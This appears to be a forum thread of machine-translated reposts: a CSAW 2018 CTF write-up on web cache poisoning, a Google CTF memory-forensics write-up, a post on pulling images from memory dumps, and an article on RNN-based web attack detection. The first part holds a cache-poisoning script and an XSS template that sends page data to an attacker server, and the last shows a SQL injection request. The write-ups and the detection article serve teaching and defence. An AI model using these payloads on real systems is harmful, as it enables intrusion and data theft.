Это единственная запись с "admin_only":true,"и, что интересно, все другие фильмы отображаются на веб-странице, но не это.

Хм, своеобразный. Но почему это так?
Заглядывая в трафик в burpsuite, мы замечаем, что файл main.mstзагружается, причем содержимое:
HTML:
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
  {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
  {{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
Ну, любой, кто имеет небольшие знания о создании сайтов с «новыми технологиями», поймет, что это файл шаблона. Ну, теперь куски подходят, mustache.min.js , так что, возможно, файл шаблона уса. Хм, теперь другая особенность в том, почему она не отображает [REDACTED]контент на странице, ну это довольно тривиально:
HTML:
  {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
  {{/admin_only}}
Так, только в формате JSON, с , admin_onlyкак falseбудет отображаться здесь, чтобы проверить эту теорию (как я не знаю , усов и это шаблонирования синтаксис), просто измените ответ /api/moviesв отрыжки свиты, меняя отредактированные - х admin_onlyдо false.

И, конечно же, теория проверяет:



45612465-9ef16300-ba80-11e8-86cb-d7b2de9ad079.png

Содержимое REDACTED

Итак, теперь мы можем с уверенностью предположить, что флаг находится в отредактированном контенте.


Борьба
Вопрос в миллион долларов : как мы получаем веб-страницу, которую видит администратор?
Я много размышлял над этим, продолжая и останавливаясь на разных вопросах и возвращаюсь к этому, но ничего не вышло. На следующий день я беседовал с одним из моих друзей (он также играл в этот CTF), и он дал мне предложение, что, возможно, отравление кэша будет работать (он сам работал над этим углом).

Это мгновенно показалось мне верным, я вспомнил, что наблюдал за разговорами о том же нападении с использованием веб-кэша , это был от BlackHat USA 2017, довольно большое исследование.

Итак, я начал разрабатывать стратегию кэширования яда администратора.
Ну, план должен был использовать другой URL-адрес:
http://app.hm.vulnerable.services/?this_is_cache_poisoning

Тогда я понял, что у нас нет контроля над админом url.
Или, может быть, у нас было, я изменил Refererзаголовок, подумав, что, возможно, администратор искал этот URL-адрес, когда /api/reportбыла вызвана конечная точка.

Итак, я сделал все это, а затем посетил ту же страницу (в надежде, что она будет сохранена в кеше), однако это была кроличья дыра, и ничего из этого не вышло.

Смотря на заголовки, я пропустил это Cache-Control: no-cache, что фактически помешало этому.

Вернуться к квадрату ... (или, может быть, нет)
В заголовках были:
~~~ SNIP ~~~
Х-лак: 150497792
~~~ SNIP ~~~
Возраст: 0
~~~ SNIP ~~~
Итак, кэширование было на месте на стороне сервера. Поиск заголовка X-Varnish и заголовка Age в google дает следующее ( здесь ):
Возраст
. Количество времени, в течение которого обслуживаемый элемент находился в кеше, в секундах. Если возраст равен нулю, элемент не был подан из кеша Varnish.
~~ SNIP ~~
X-Varnish - идентификационные номера текущего запроса и запрос элемента, который заполняет кеш-лак. Если это поле имеет только одно значение, кэш был заполнен запросом, и это считается пропуском кеша
Итак, хорошо шахта была пропущена кэш, и поэтому, Age0 и только один ID в X-Varnishзаголовке.

Недавно я прочитал об атаке веб-кэширования, практическом отравлении веб-кэша . Прочитав блог, вы найдете в самом начале в разделе Caching 101 следующее:
Некоторые компании используют собственный кеш, используя программное обеспечение, такое как Varnish

Хорошо, CSAW люди также использовали Varnish (но это довольно популярное программное обеспечение для кеширования), так что это не могло быть совпадением.

В разделе « Примеры из практики» в разделе « Основное отравление» автор упоминает, как X-Forwarded-Host был уязвимым параметром в случае домашней страницы Red Hat ( ну два точных соответствия ).

Это снова не может быть совпадением
Он также отметил, что XSS может выполнять, но после проверки, что я понял, что параметр не отражается нигде на домашней странице (так, возможно, нет XSS здесь).


Таким образом, я подумал об изменении на X-Forwarded-Hostmy_server и посмотрел, отражено ли это.

Теперь, в конфигурации по умолчанию burpsuite , у вас есть в параметрах прокси в разделе Intercept Client Requests следующее:



45611580-8764ab00-ba7d-11e8-81b6-8a258637c7ad.png

Запрос прерывания клиента Burp

Который говорит, что не перехватывать какой-либо js- файл и, следовательно, изначально я не мог перехватить js-запрос (я вскоре понял это и изменил правила соответственно)


Теперь изменив X-Forwarded-Host



45613643-9ac74480-ba84-11e8-8739-8b61414644f5.png

Перехват запроса app.js

Ну, это ничего не меняет (по крайней мере, я так и думал). Я обсуждал то же самое с моим другом, он пытался, и он также получил аналогичные результаты (хозяин не изменился)
Код:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 157368772 157916061
Accept-Ranges: bytes
Content-Length: 1631
Content-Type: application/javascript
Age: 59
Via: 1.1 varnish-v4
Connection: close
Proxy-Connection: close

var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
Некоторые выводы
Как вы видете
X-Varnish: 157368772 157916061
~~~ SNIP ~~~
Age: 59
Таким образом, можно видеть, что он извлекается из кеша, и, возможно, если мы ударим его в нужное время, мы просто получим его.
Хорошо, много теоретизируя, теперь давайте возьмем наши руки грязными. Сначала я начал
Я написал небольшой скрипт python относительно того, чтобы отравить кеш:
Python:
import requests

X_Forwarded_Host = '1.2.3.4'

while True:
    resp = requests.get("[URL]http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js[/URL]", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break
Ну вот результат:



45617609-7a04ec00-ba90-11e8-99b6-cd1825018117.png

Вывод серверного скрипта

Мы видим, что время кэширования составляет 2 минуты (как Ageминимум до 120). Как мы видим, мы можем перезаписать js-файл здесь и обслуживать наш кешированный файл js.




45617198-2a71f080-ba8f-11e8-8605-710bc822c464.png




Вскрытие
Ну, это ключ к вопросу. Мы будем кэшировать app.jsIP-адрес нашего сервера и заставить администратора загружать веб-страницу, сообщая об этом.
Затем администратор будет обслуживать нас app.js, тем самым эффективно получая файл main.mst с нашего сервера.

Стратегия
  1. Принимать злоумышленник main.mst на вашем сервере в /cdn/каталоге (я размещал его на моем aws-экземпляре с запуском apache, хотя ngrok тоже будет в порядке)
  2. Кэш отравляет сервер, чтобы вставить IP-адрес своего сервера
  3. Теперь сообщите администратору, чтобы страница администратора посетила страницу
  4. Злоумышленник main.mstвернет телефон к серверу со списком фильмов (легкий peasy)
Теперь, когда я сказал, что я не эксперт в области усов шаблонов, но было довольно легко понять, как получить весь список фильмов на нашем веб-сервере. Это был мой друг, который сделал этот шаблон, вот как он выглядит:
HTML:
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('[URL='http://my_server_ip/'+'%7B%7B#movies']http://my_server_ip/'+'{{#movies[/URL]}}{{ name }}{{/movies}}')">
Это почти все равно, кроме как с этим важным изменением (и еще одним эстетическим изменением, пустыней реального: p):
JavaScript:
<img src=x onerror="fetch('http://my_server_ip/'+'{{#movies}}{{ name }}{{/movies}}')">
Таким образом, это типичная полезная нагрузка XSS , где вы
JavaScript:
<img src=x onerror=alert(document.cookie) >
Однако вместо этого document.cookieмы используем шаблон усы, чтобы получить список фильмов и отправить его на наш сервер.

И вот, вот что мы получаем, когда открываем браузер сразу после отравления кеша



45617979-c56bca00-ba91-11e8-818a-d2fccc05261e.png

Отравленная страница

Итак, я продолжил сообщать об этом и просматривал журналы своего сервера:




45618302-df59dc80-ba92-11e8-8f6d-a1e57a44e4be.png

Журналы сервера

Немного объяснения:


  1. Здесь я загружаю веб-страницу
  2. Запрос img, чтобы украсть все имена фильмов (из моего браузера, поэтому нет флага)
  3. Администратор, посещающий страницу (содержит флаг)
Вот окончательный сценарий:
Python:
from time import sleep
import requests
import webbrowser

X_Forwarded_Host = 'my_server'

while True:
    resp = requests.get("http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    sleep(0.5)
    if X_Forwarded_Host in resp.text:
        print resp.text
        break
   
# Now we're sure that our entry has been put up in cache
# So, just open the webbrowser, and report so that the admin
# gets our cached page
webbrowser.open('http://app.hm.vulnerable.services/')

UPDATE :
Я забыл упомянуть о небольшой проблеме с CORS, поэтому мне пришлось включить это на моем апаче.
Вы можете сделать то же самое, следуя инструкциям здесь

Однако вместо того, чтобы разрешить это только s.codepen.ioиз этого:

Header set Access-Control-Allow-Origin "*"

45640104-590fbb80-bacf-11e8-9201-29f2ff6fc03d.png



ИСТОЧНИК: https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/

http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
https://blogs.akamai.com/2017/03/on-web-cache-deception-attacks.html
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Google CTF 2016 – Forensic “For1” Write-up



Google Capture The Flag (CTF) был запущен на 29 - е и 30 - го апреля 2016 года, это мое решение для судебно - медицинской экспертизы вызова «for1» , который стоил 100 очков.

В этом случае файл dump1.raw.lzma размером 200mb не содержал других инструкций, кроме как найти флаг. После загрузки файла я распакую его, чтобы открыть файл dump1.raw 900mb.

root@kali:~# lzma -d dump1.raw.lzma
root@kali:~# file dump1.raw
dump1.raw: ELF 64-bit LSB core file x86-64, version 1 (SYS
V)

Поначалу это выглядит как файл ELF, однако это только начало того, что кажется дампом памяти. После запуска binwalk против дампа я начинаю видеть много контента Microsoft Portable executable. После запуска строк против файла дампа я замечаю много ссылок на Microsoft / Windows, подтверждающих, что это, кажется, дамп памяти из операционной системы Windows, работающей в VirtualBox.

Поскольку это, кажется, дамп памяти, я начинаю использовать volatility , инструмент forensics с открытым исходным кодом. Первоначально я не получаю никаких результатов volatility , после дальнейшего поиска по дампу я вижу ссылки на Windows 10 и предполагаю, что моя версия volatility не поддерживает Windows 10. После проверки сайта volatility я подтверждаю, что мне нужна версия 2.5, которая представляет поддержку Windows 10.

С загруженной новой версией я запустил «imageinfo», чтобы определить профиль, который изменяет volatility , но не получил никакой полезной информации. В этот момент я просто догадался, что это был Win10x64, который работал, поэтому работал с этим профилем и выполнял список pslist для перечисления всех запущенных процессов во время дампа памяти, как показано ниже.

root@kali:~/volatility-master# ./vol.py -f /root/dump1.raw pslist --profile=Win10x64 pstree
Volatility Foundation Volatility Framework 2.5
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xffffe00032553780 System 4 0 126 0 ------ 0 2016-04-04 16:12:33 UTC+0000
0xffffe0003389c040 smss.exe 268 4 2 0 ------ 0 2016-04-04 16:12:33 UTC+0000
0xffffe0003381b080 csrss.exe 344 336 8 0 0 0 2016-04-04 16:12:33 UTC+0000
0xffffe000325ba080 wininit.exe 404 336 1 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000325c7080 csrss.exe 412 396 9 0 1 0 2016-04-04 16:12:34 UTC+0000
0xffffe00033ec6080 winlogon.exe 460 396 2 0 1 0 2016-04-04 16:12:34 UTC+0000
0xffffe00033efb440 services.exe 484 404 3 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe00033f08080 lsass.exe 492 404 6 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe00033ec5780 svchost.exe 580 484 16 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe00034202280 svchost.exe 612 484 9 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000341cb640 dwm.exe 712 460 8 0 1 0 2016-04-04 16:12:34 UTC+0000
0xffffe00034222780 svchost.exe 796 484 45 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000342a7780 VBoxService.ex 828 484 10 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000342ad780 svchost.exe 844 484 8 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000342c0080 svchost.exe 852 484 6 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000342dd780 svchost.exe 892 484 18 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000342bc780 svchost.exe 980 484 17 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe00034377780 svchost.exe 608 484 17 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000343e7780 spoolsv.exe 1072 484 8 0 0 0 2016-04-04 16:12:34 UTC+0000
0xffffe000343e9780 svchost.exe 1092 484 23 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe0003442a780 rundll32.exe 1148 796 1 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe00034494780 CompatTelRunne 1224 1148 9 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe00034495780 svchost.exe 1276 484 10 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe0003461d780 svchost.exe 1564 484 5 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe000345da780 wlms.exe 1616 484 2 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe00034623780 MsMpEng.exe 1628 484 24 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe000343b2340 cygrunsrv.exe 1832 484 4 0 0 0 2016-04-04 16:12:35 UTC+0000
0xffffe0003479b780 cygrunsrv.exe 1976 1832 0 -------- 0 0 2016-04-04 16:12:36 UTC+0000 2016-04-04 16:12:36 UTC+0000
0xffffe000347aa780 conhost.exe 2004 1976 2 0 0 0 2016-04-04 16:12:36 UTC+0000
0xffffe000347c1080 sshd.exe 2028 1976 3 0 0 0 2016-04-04 16:12:36 UTC+0000
0xffffe00033e00780 svchost.exe 1772 484 3 0 0 0 2016-04-04 16:12:37 UTC+0000
0xffffe00033f1f780 sihost.exe 92 796 10 0 1 0 2016-04-04 16:12:37 UTC+0000
0xffffe0003259b3c0 taskhostw.exe 1532 796 9 0 1 0 2016-04-04 16:12:37 UTC+0000
0xffffe000339d4340 NisSrv.exe 2272 484 6 0 0 0 2016-04-04 16:12:38 UTC+0000
0xffffe000336e8780 userinit.exe 2312 460 0 -------- 1 0 2016-04-04 16:12:38 UTC+0000 2016-04-04 16:13:04 UTC+0000
0xffffe000336e3780 explorer.exe 2336 2312 31 0 1 0 2016-04-04 16:12:38 UTC+0000
0xffffe0003374f780 RuntimeBroker. 2456 580 6 0 1 0 2016-04-04 16:12:38 UTC+0000
0xffffe00033a39080 SearchIndexer. 2664 484 13 0 0 0 2016-04-04 16:12:39 UTC+0000
0xffffe00033a79780 ShellExperienc 2952 580 41 0 1 0 2016-04-04 16:12:39 UTC+0000
0xffffe00033b57780 SearchUI.exe 3144 580 38 0 1 0 2016-04-04 16:12:40 UTC+0000
0xffffe00033e1d780 DismHost.exe 3636 1224 2 0 0 0 2016-04-04 16:12:47 UTC+0000
0xffffe000348e9780 svchost.exe 3992 484 6 0 0 0 2016-04-04 16:12:52 UTC+0000
0xffffe000348c6780 VBoxTray.exe 3324 2336 10 0 1 0 2016-04-04 16:12:55 UTC+0000
0xffffe00034b08780 OneDrive.exe 1692 2336 10 0 1 1 2016-04-04 16:12:55 UTC+0000
0xffffe00034b0f780 mspaint.exe 4092 2336 3 0 1 0 2016-04-04 16:13:21 UTC+0000
0xffffe00034ade080 svchost.exe 628 484 1 0 1 0 2016-04-04 16:14:43 UTC+0000
0xffffe0003472b080 notepad.exe 2012 2336 1 0 1 0 2016-04-04 16:14:49 UTC+0000
0xffffe000349e4780 WmiPrvSE.exe 3032 580 6 0 0 0 2016-04-04 16:16:37 UTC+0000
0xffffe000349285c0 taskhostw.exe 332 796 10 0 1 0 2016-04-04 16:17:40 UTC+0000
Есть небольшое количество процессов, которые мне сразу интересны, включая notepad.exe, sshd.exe и mspaint.exe.

Я думаю, что текст из notepad.exe был бы обнаружен, когда я запускал строки в файле дампа, поэтому я оставлю это на данный момент. Я быстро проверяю открытые соединения sshd.exe, которые появляются при запуске под Cygwin, но не могут видеть какие-либо установленные соединения, поэтому оставьте это на данный момент. Наконец, я решил сбросить процесс mspaint.exe (PID 4092), как показано ниже.

root@kali:~/volatility-master# ./vol.py -f /root/dump1.raw --profile=Win10x64 memdump -p 4092 -D /root/
Volatility Foundation Volatility Framework 2.5
************************************************************************
Writing mspaint.exe [ 4092] to 4092.dmp
После сбрасывания процесса у меня был файл 1.8gb, который казался довольно странным из файла дампа 900mb. Я не слишком уверен, почему это так, и после обсуждения с создателем проблемы впоследствии они, похоже, не знали, почему это так. Если кто-нибудь может понять это, мне будет интересно услышать.

Несмотря на это, на данный момент я еще не знал, как попытаться просмотреть любое содержимое, которое было в краске, из моего дампа процесса. После нескольких быстрых исследований я нашел этот пост, в котором излагалось, как извлекать изображения из памяти. Я просто переименовал свой экспортированный файл 4092.dmp в 4092.data, чтобы он был распознан Gimp, а затем открыл его в Gimp.

После открытия изображения это то, что мне дали.



После некоторого времени удерживая стрелку вверх в поле «Смещение», я решил, что для прошивки через файл 1.8gb потребуется очень много времени. Я расширил окно и немного изменил ширину, чтобы больше поместился на экране, а затем начал перетаскивать указатель смещения вокруг поиска чего-либо интересного. В конце концов с большой удачей я нашел что-то, после регулировки ширины далее я нашел флаг, показанный ниже.



В результате появился флаг CTF {HeRe_GoES_thE_FLaG}.

ИСТОЧНИК: https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Extracting RAW pictures from memory dumps

Введение.

Сегодня, читая мою временную шкалу Twitter, я увидел, как некоторые специалисты Infosec обсуждают скрипты / инструменты для определения RAW-изображений на свалках памяти. Тогда я решил написать этот пост в блоге и поделиться небольшим взломом, который я использую для визуализации данных (включая дампы памяти).





Несколько месяцев назад я написал сообщение с подробным описанием того, как сканировать Интернет и скриншот «Все , теперь пришло время сбросить память и скриншот« Все вещи ».





Дампы памяти

Первое, что вам нужно сделать, - сузить анализ до процесса, содержащего интересные изображения / изображения. Я собираюсь использовать три разных дампа памяти здесь:

Клиент удаленного рабочего стола - Windows 7 x64 (mstsc.exe).

Давайте использовать встроенный RDP-клиент Windows для подключения к внешнему серверу и сброс
памяти процесса с помощью procdump :



procdump.exe -ma mstsc.exe mstsc.dmp




Microsoft Paint - Windows 7 x64 (mspaint.exe)

Давайте загрузим / сохраним простой файл изображения в Paint и снова запустите procdump:




procdump.exe -ma mspaint.exe mspaint.dmp




9447 2014 CTF Challenge: coor coor - Windows XP (VirtualBox.exe)
Там в удивительной рецензии для этого CTF вызова здесь , почитайте его сейчас , если у вас еще нет. Мы собираемся использовать волатильность для изоляции дампа памяти VirtualBox:

python vol.py -f challenge.vmem pslist


python vol.py -f challenge.vmem memdump -p 1568 --dump-dir = dump /




RAW Image Data

Переименуйте расширения файлов из * .dmp в * .data, загрузите / установите GIMP и откройте их как «RAW-изображения»:



Вот и все, теперь вы можете использовать GIMP для навигации по дампу памяти и анализа отображаемых пикселей / растровых изображений в соответствующих смещениях. Стоит отметить, что различные изображения будут отображаться с использованием разных типов изображений и переменной ширины: вам может потребоваться соответствующим образом скорректировать эти значения.

Итак, что мы можем здесь увидеть?

  • На дампе памяти RDP мы можем извлекать фрагменты и Windows, отображаемые во время соединения, включая IP, имена пользователей и команды:
Команды Windows

Окно клиента удаленного рабочего стола

Сеанс RDP

  • Изображение Microsoft Paint можно легко увидеть: они перевернуты, потому что это то, как хранятся BMP:
Нам нужно перевернутое бэкдоры «этот большой»,


  • Самые интересные артефакты были собраны с дампа Coor Coor . Пользователь запускал контейнер TrueCrypt внутри VirtualBox, и после некоторой коррекции смещения мы видим окно Pidgin, учетную запись пользователя (testicool69@yodawg.9447.plumbing) и несколько настроек OTR:
Хотя True: width ++ || width--

Обратите внимание, что Windows не совсем выровнены здесь, но мы можем видеть данные путем увеличения:

Улучшить PLS

Похоже, наш убийца привинчен. YEEAAAH.

Мы также можем заметить панель задач Window, так же, как плагин скриншотовволатильности показал нам предыдущую запись :



python vol.py -f challenge.vmem screenshot -D скриншот /

Также можно размещать значки из запущенных программ, например, из Virtualbox:

Значок VirtualBox


Заключение

Этот метод очень распространен среди хакеров ROM, поскольку они пытаются найти шаблоны изображений внутри сырых игровых дампов. Проверьте мою запись из Hack.lu 2014 CTF, чтобы узнать больше об этом. Кстати, вы также можете использовать Tile Molester вместо GIMP для просмотра RAW-данных.

Возможно, вы спрашиваете: почему бы не вырезать свалки с помощью binwalk и не перекрыть их, используя модуль волатильности dumpfiles ? Если вы попробуете это самостоятельно, вы заметите, что они не найдут волшебные байты для всех этих изображений.

Насколько я знаю, нет никакого готового инструмента для автоматического извлечения их, но не должно быть так сложно написать плагин binwalk / volatility для этого на основе некоторых эвристик. Например, Binwalk может находить исходные потоки deflate / lzma , создавая заголовки поверх необработанных сжатых данных и записывая их обратно на диск.

Я не эксперт по компьютерной визуализации, но вот несколько советов:

  • Установите ширину изображения для общих разрешений дисплея. Панель задач из дампа памяти coor coor может отображаться путем установки ширины в 1440 точек (1440x900 - это общее разрешение экрана).
  • Используйте общий фон фона / шаблоны в качестве шаблона, чтобы найти интересные разделы.
  • Создайте браузер с несколькими видами / бок о бок RAW на основе исходного кода GIMP (несколько типов изображений, несколько ширины и т. Д.).
  • Используйте искусственный мозг Google, чтобы найти видео для кошек .
  • Получите больший монитор (да, это помогает).

ИСТОЧНИК: https://w00tsec.blogspot.com/2015/02/extracting-raw-pictures-from-memory.html
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DETECTING WEB ATTACKS WITH RECURRENT NEURAL NETWORKS
Обнаружение нападений было частью информационной безопасности на протяжении десятилетий. Первые известные примеры реализации IDS относятся к началу 80-х годов. Вот что мы читаем об этом времени в Википедии :

Дороти Э. Деннинг, при содействии Питера Г. Неймана, опубликовала модель IDS в 1986 году, которая сегодня стала основой для многих систем. [20] В ее модели использовались статистические данные для обнаружения аномалий, и в результате ранняя IDS в SRI International называлась экспертной системой обнаружения вторжений (IDES), которая работала на рабочих станциях Sun и могла рассматривать данные как на уровне пользователя, так и на уровне сети​
Отметим часть статистики для обнаружения аномалий.

Сегодня, спустя несколько десятилетий, сформировалась индустрия вокруг обнаружения атаки. Существуют различные виды продуктов, таких как IDS, IPS, WAF, брандмауэры и т. Д., Большинство из которых предлагают обнаружение атаки на основе правил. Идея использовать какое-то статистическое обнаружение аномалий для обнаружения атак в производстве не кажется реалистичной, как это было в течение дня. Но не так ли?

ОБНАРУЖЕНИЕ АТАК НА ВЕБ-ПРИЛОЖЕНИЯ
Первые брандмауэры, адаптированные для обнаружения конкретных атак, начали появляться на рынке в начале 90-х годов. Оба метода атаки и механизмы защиты значительно изменились с тех пор, когда атакующие стали шагом вперед в любое время.

Большинство WAF в настоящее время пытаются обнаружить атаки аналогичным образом: некоторый основанный на правилах движок, встроенный в обратный прокси какого-то типа. Наиболее заметным примером является mod_security, WAF-модуль для веб-сервера Apache, который был создан в 2002 году. У обнаружения на основе правил есть некоторые недостатки, например, они не могут обнаружить новые атаки aka 0days, в то время как эти же атаки могут быть легко обнаружены человек эксперт. Если вы думаете об этом, это не удивительно, человеческий мозг работает совсем не так, как набор регулярных выражений.

С точки зрения WAF типы атак можно разделить на временные ряды и единый HTTP-запрос / ответ. В нашем исследовании основное внимание уделяется обнаружению последних типов атак: - SQL Injection - Cross Site Scripting - Внедрение XML внешних объектов - Обход траектории
- Командная операция ОС - Инъекция объектов - и т. Д.

Но сначала спросим себя:

ЧТО СДЕЛАЛ БЫ ЧЕЛОВЕК, КОГДА ОН УВИДИТ ОДИН ЗАПРОС?
Взгляните на пример обычного HTTP-запроса на какое-либо приложение:

Код:
POST /vulnbank/online/api.php HTTP/1.1
Host: 10.0.212.25
Connection: keep-alive
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://10.0.212.25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://10.0.212.25/vulnbank/online/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=4dorluj4ccherum6m9c1i0j917

type=user&action=login&username=ytrtry&password=tyhgfhgfhg

Если вам была поставлена задача обнаружить вредоносные запросы к этому приложению, скорее всего, вы хотели бы понаблюдать за доброкачественными запросами на некоторое время. После просмотра некоторых запросов к нескольким конечным точкам приложения, у вас будет общее представление о структуре и характеристиках доброкачественных запросов.

Теперь вам предлагается следующий запрос:

Код:
POST /vulnbank/online/api.php HTTP/1.1
Host: 10.0.212.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.212.25/vulnbank/online/login.php
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 76
Cookie: PHPSESSID=mlacs0uiou344i3fa53s7raut6
Connection: keep-alive

type=user&action=login&username=none'+union+select+1,2,login,password,5,6,7,NULL,NULL,10,11,12,13,14,15,16,17+from+users+limit+1+--1
Это сразу бросается в глаза, что здесь что-то не так. Требуется еще немного времени, чтобы понять, что это такое, и как только вы обнаружите точный фрагмент запроса, который является аномальным, вы можете начать думать о том, какой тип атаки он имеет. По сути, наша цель состоит в том, чтобы заставить AI обнаружения атаки работать в некотором роде, которая напоминает это человеческое рассуждение.

Трудный момент здесь состоит в том, что некоторый трафик, выглядящий злонамеренным с первого взгляда, может быть нормальным для конкретного веб-сайта.

Например, давайте рассмотрим этот запрос:

b_request1.PNG


Это аномалия? Фактически, этот запрос выдается трекер Jira и типичен для этой службы, что означает, что запрос является доброкачественным.

Теперь давайте посмотрим на другой случай:

m_request1.PNG


На первый взгляд запрос выглядит как типичная регистрация пользователя на веб-сайте, работающем на Joomla CMS. Однако запрошенная операция «user.register» вместо обычного «registration.register». Первый вариант устарел и содержит уязвимость, позволяющую кому-либо зарегистрироваться в качестве администратора.

Этот эксплоит известен как «Joomla <3.6.4 Создание учетной записи / Приоритетная эскалация» (CVE-2016-8869, CVE-2016-8870).

m_request2.PNG


КАК МЫ НАЧАЛИ
Прежде всего, мы рассмотрели предыдущие исследования по этой теме. На протяжении десятилетий предпринималось множество попыток создать различные алгоритмы статистического или машинного обучения для обнаружения атак. Одним из наиболее часто используемых подходов является решение задачи классификации, где классы - это что-то вроде «доброкачественных запросов, SQL-инъекций, XSS, CSRF и т. Д.». Несмотря на то, что для данного набора данных с классификатором можно достичь некоторой достоверной точности, этот подход не решает очень важных проблем:

  1. Выбор набора классов. Что делать, если ваша модель во время обучения представлена тремя классами, скажем, «доброкачественная, SQLi, XSS», и в производстве она встречает атаку «CSRF» или даже совершенно новую технику атаки?
  2. Смысл этих классов. Предположим, вам нужно защитить десять клиентов, каждый из которых запускает совершенно разные веб-приложения. Для большинства из них вы не представляете, как выглядит одна попытка «SQL Injection» против их приложения. Это означает, что вам придется как-то искусственно построить ваши учебные наборы данных, что является ужасным решением, потому что вы в конечном итоге научитесь получать данные из совершенно другого дистрибутива, чем ваши реальные данные.
  3. Интерпретируемость результатов вашей модели. Хорошо, он придумал ярлык «SQL Injection», и что теперь? Вы и, самое главное, ваш клиент, который первым видит предупреждение и обычно не является экспертом в веб-атаках, должен угадать, какая часть запроса, который наша модель считает вредоносным.
Помня об этом, мы все равно решили дать классификацию.

Поскольку протокол HTTP основан на тексте, было очевидно, что нам пришлось взглянуть на современные текстовые классификаторы. Одним из известных примеров является анализ настроений набора данных просмотра фильмов IMDB. Некоторые решения используют RNN для классификации этих обзоров. Мы решили использовать аналогичную модель классификации RNN с некоторыми небольшими различиями. Например, классификация естественных языков RNN использует вложения слов, однако неясно, какие слова существуют на неприродном языке, таком как HTTP. Вот почему мы решили использовать встраивание символов в нашу модель.

Готовые вложения не имеют отношения к решению проблемы, поэтому мы использовали простые сопоставления символов с числовыми кодами с несколькими внутренними маркерами типа <GO>и <EOS>.

После завершения разработки и тестирования модели все проблемы, предсказанные ранее, стали очевидными, но по крайней мере наша команда перешла от бесполезных спекуляций к некоторому результату.

КАК МЫ ПРОДОЛЖИЛИ
Оттуда мы решили сделать несколько шагов в направлении более точной интерпретации результатов нашей модели. В какой-то момент мы столкнулись с механизмом «внимания» и начали интегрировать его в нашу модель. И это дало некоторые многообещающие результаты: наконец, все собралось вместе, и мы получили некоторые интерпретируемые человеком результаты. Теперь наша модель начала выводить не только метки, но и коэффициенты внимания для каждого символа ввода.

Если это можно было бы визуализировать, скажем, в веб-интерфейсе, мы могли бы раскрасить точное место, где была обнаружена атака «SQL Injection». Это был хороший результат, однако другие проблемы все еще оставались нерешенными.

Было ясно, что мы должны продолжать двигаться в направлении использования механизма внимания и отходить от задачи классификации. После прочтения большого количества связанных исследований (например, «внимание все, что вам нужно», «word2vec», архитектуры кодировщика-декодера) на моделях последовательности и экспериментировании с нашими данными мы смогли создать модель обнаружения аномалий, которая, в конечном счете, будет работать более или менее так, как это делает человеческий эксперт.

АВТОАССОЦИАТОР
